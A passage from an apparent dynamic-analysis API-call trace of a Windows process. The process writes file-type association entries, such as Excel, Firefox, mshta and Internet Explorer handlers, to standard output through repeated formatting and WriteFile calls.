lpWideCharStr="Excel.Template=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Excel.Template=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 82 [0100.713] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x51, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x51, lpOverlapped=0x0) returned 1 [0100.713] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Excel.Template.8=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n") returned 83 [0100.713] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.714] GetFileType (hFile=0x5c) returned 0x3 [0100.714] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.714] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Excel.Template.8=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Excel.Template.8=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 84 [0100.714] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x53, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x53, lpOverlapped=0x0) returned 1 [0100.714] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Excel.TemplateMacroEnabled=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n") returned 93 [0100.714] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.714] GetFileType (hFile=0x5c) returned 0x3 [0100.714] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.714] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Excel.TemplateMacroEnabled=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Excel.TemplateMacroEnabled=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 94 [0100.714] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x5d, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x5d, lpOverlapped=0x0) returned 1 [0100.714] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Excel.UriLink.16=C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"\r\n") returned 91 [0100.714] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.714] GetFileType (hFile=0x5c) returned 0x3 [0100.714] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.714] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Excel.UriLink.16=C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Excel.UriLink.16=C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 92 [0100.714] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x5b, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x5b, lpOverlapped=0x0) returned 1 [0100.715] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Excel.Workspace=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n") returned 82 [0100.715] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.715] GetFileType (hFile=0x5c) returned 0x3 [0100.715] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.715] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Excel.Workspace=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Excel.Workspace=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 83 [0100.715] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x52, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x52, lpOverlapped=0x0) returned 1 [0100.715] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Excel.XLL=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n") returned 76 [0100.715] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.715] GetFileType (hFile=0x5c) returned 0x3 [0100.715] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.715] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Excel.XLL=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Excel.XLL=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 77 [0100.715] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x4c, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x4c, lpOverlapped=0x0) returned 1 [0100.715] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Excelhtmlfile=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\"\r\n") returned 75 [0100.715] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.716] GetFileType (hFile=0x5c) returned 0x3 [0100.716] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.716] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Excelhtmlfile=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Excelhtmlfile=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\"\r\n", lpUsedDefaultChar=0x0) returned 76 [0100.716] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x4b, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x4b, lpOverlapped=0x0) returned 1 [0100.716] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Excelhtmltemplate=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\"\r\n") returned 79 [0100.716] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.716] GetFileType (hFile=0x5c) returned 0x3 [0100.716] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.716] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Excelhtmltemplate=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Excelhtmltemplate=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\"\r\n", lpUsedDefaultChar=0x0) returned 80 [0100.716] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x4f, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x4f, lpOverlapped=0x0) returned 1 [0100.716] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="exefile=\"%1\" %*\r\n") returned 17 [0100.716] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.716] GetFileType (hFile=0x5c) returned 0x3 [0100.716] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.717] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="exefile=\"%1\" %*\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="exefile=\"%1\" %*\r\n", lpUsedDefaultChar=0x0) returned 18 [0100.717] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x11, lpOverlapped=0x0) returned 1 [0100.717] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Explorer.AssocProtocol.search-ms=%SystemRoot%\\Explorer.exe /separate,/idlist,%I,%L\r\n") returned 84 [0100.717] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.717] GetFileType (hFile=0x5c) returned 0x3 [0100.717] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.717] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Explorer.AssocProtocol.search-ms=%SystemRoot%\\Explorer.exe /separate,/idlist,%I,%L\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Explorer.AssocProtocol.search-ms=%SystemRoot%\\Explorer.exe /separate,/idlist,%I,%L\r\n", lpUsedDefaultChar=0x0) returned 85 [0100.717] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x54, lpOverlapped=0x0) returned 1 [0100.717] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="FaxCover.Document=%systemroot%\\system32\\fxscover.exe \"%1\"\r\n") returned 59 [0100.717] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.717] GetFileType (hFile=0x5c) returned 0x3 [0100.717] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.717] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="FaxCover.Document=%systemroot%\\system32\\fxscover.exe \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="FaxCover.Document=%systemroot%\\system32\\fxscover.exe \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 60 [0100.717] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x3b, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x3b, lpOverlapped=0x0) returned 1 [0100.718] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="feed=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /share \"%1\"\r\n") returned 80 [0100.718] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.718] GetFileType (hFile=0x5c) returned 0x3 [0100.718] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.718] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="feed=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /share \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="feed=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /share \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 81 [0100.718] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x50, lpOverlapped=0x0) returned 1 [0100.722] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="feeds=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /share \"%1\"\r\n") returned 81 [0100.722] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.722] GetFileType (hFile=0x5c) returned 0x3 [0100.723] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.723] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="feeds=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /share \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="feeds=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" /share \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 82 [0100.723] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x51, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x51, lpOverlapped=0x0) returned 1 [0100.723] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="FirefoxHTML=\"C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe\" -osint -url \"%1\"\r\n") returned 83 [0100.723] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.723] GetFileType (hFile=0x5c) returned 0x3 [0100.723] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.723] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="FirefoxHTML=\"C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe\" -osint -url \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="FirefoxHTML=\"C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe\" -osint -url \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 84 [0100.723] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x53, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x53, lpOverlapped=0x0) returned 1 [0100.724] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="FirefoxURL=\"C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe\" -osint -url \"%1\"\r\n") returned 82 [0100.724] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.724] GetFileType (hFile=0x5c) returned 0x3 [0100.724] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.724] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="FirefoxURL=\"C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe\" -osint -url \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="FirefoxURL=\"C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe\" -osint -url \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 83 [0100.724] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x52, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x52, lpOverlapped=0x0) returned 1 [0100.724] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Folder=%SystemRoot%\\Explorer.exe\r\n") returned 34 [0100.724] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.724] GetFileType (hFile=0x5c) returned 0x3 [0100.724] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.724] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Folder=%SystemRoot%\\Explorer.exe\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Folder=%SystemRoot%\\Explorer.exe\r\n", lpUsedDefaultChar=0x0) returned 35 [0100.724] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x22, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x22, lpOverlapped=0x0) returned 1 [0100.725] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="ftp=\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\" %1\r\n") returned 64 [0100.726] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.726] GetFileType (hFile=0x5c) returned 0x3 [0100.726] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.726] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ftp=\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\" %1\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ftp=\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\" %1\r\n", lpUsedDefaultChar=0x0) returned 65 [0100.726] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x40, lpOverlapped=0x0) returned 1 [0100.726] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="giffile=\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\" -nohome\r\n") returned 73 [0100.726] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.726] GetFileType (hFile=0x5c) returned 0x3 [0100.726] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.726] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="giffile=\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\" -nohome\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="giffile=\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\" -nohome\r\n", lpUsedDefaultChar=0x0) returned 74 [0100.726] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x49, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x49, lpOverlapped=0x0) returned 1 [0100.727] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Groove.SPFS.OneNoteStub=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\GROOVE.EXE\" /OneNoteStub: \"%1\"\r\n") returned 105 [0100.727] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.727] GetFileType (hFile=0x5c) returned 0x3 [0100.728] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.728] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Groove.SPFS.OneNoteStub=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\GROOVE.EXE\" /OneNoteStub: \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Groove.SPFS.OneNoteStub=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\GROOVE.EXE\" /OneNoteStub: \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 106 [0100.728] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x69, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x69, lpOverlapped=0x0) returned 1 [0100.728] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="group_wab_auto_file=\"%ProgramFiles%\\Windows Mail\\wab.exe\" /Group \"%1\"\r\n") returned 71 [0100.728] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.728] GetFileType (hFile=0x5c) returned 0x3 [0100.728] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.728] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="group_wab_auto_file=\"%ProgramFiles%\\Windows Mail\\wab.exe\" /Group \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="group_wab_auto_file=\"%ProgramFiles%\\Windows Mail\\wab.exe\" /Group \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 72 [0100.728] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x47, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x47, lpOverlapped=0x0) returned 1 [0100.729] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="grvOpen=C:\\Program Files\\Microsoft Office\\Root\\Office16\\GROOVE.EXE /TakeOffline: \"%1\"\r\n") returned 87 [0100.729] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.729] GetFileType (hFile=0x5c) returned 0x3 [0100.729] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.729] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="grvOpen=C:\\Program Files\\Microsoft Office\\Root\\Office16\\GROOVE.EXE /TakeOffline: \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="grvOpen=C:\\Program Files\\Microsoft Office\\Root\\Office16\\GROOVE.EXE /TakeOffline: \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 88 [0100.729] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x57, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x57, lpOverlapped=0x0) returned 1 [0100.729] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="hlpfile=%SystemRoot%\\winhlp32.exe %1\r\n") returned 38 [0100.729] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.729] GetFileType (hFile=0x5c) returned 0x3 [0100.729] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.729] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="hlpfile=%SystemRoot%\\winhlp32.exe %1\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hlpfile=%SystemRoot%\\winhlp32.exe %1\r\n", lpUsedDefaultChar=0x0) returned 39 [0100.729] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x26, lpOverlapped=0x0) returned 1 [0100.730] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="htafile=C:\\Windows\\SysWOW64\\mshta.exe \"%1\" %*\r\n") returned 47 [0100.730] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.730] GetFileType (hFile=0x5c) returned 0x3 [0100.730] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.730] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="htafile=C:\\Windows\\SysWOW64\\mshta.exe \"%1\" %*\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="htafile=C:\\Windows\\SysWOW64\\mshta.exe \"%1\" %*\r\n", lpUsedDefaultChar=0x0) returned 48 [0100.730] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x2f, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x2f, lpOverlapped=0x0) returned 1 [0100.731] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="htmlfile=\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\" -nohome\r\n") returned 74 [0100.731] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.731] GetFileType (hFile=0x5c) returned 0x3 [0100.731] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.731] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="htmlfile=\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\" -nohome\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="htmlfile=\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\" -nohome\r\n", lpUsedDefaultChar=0x0) returned 75 [0100.731] WriteFile (in: hFile=0x5c, 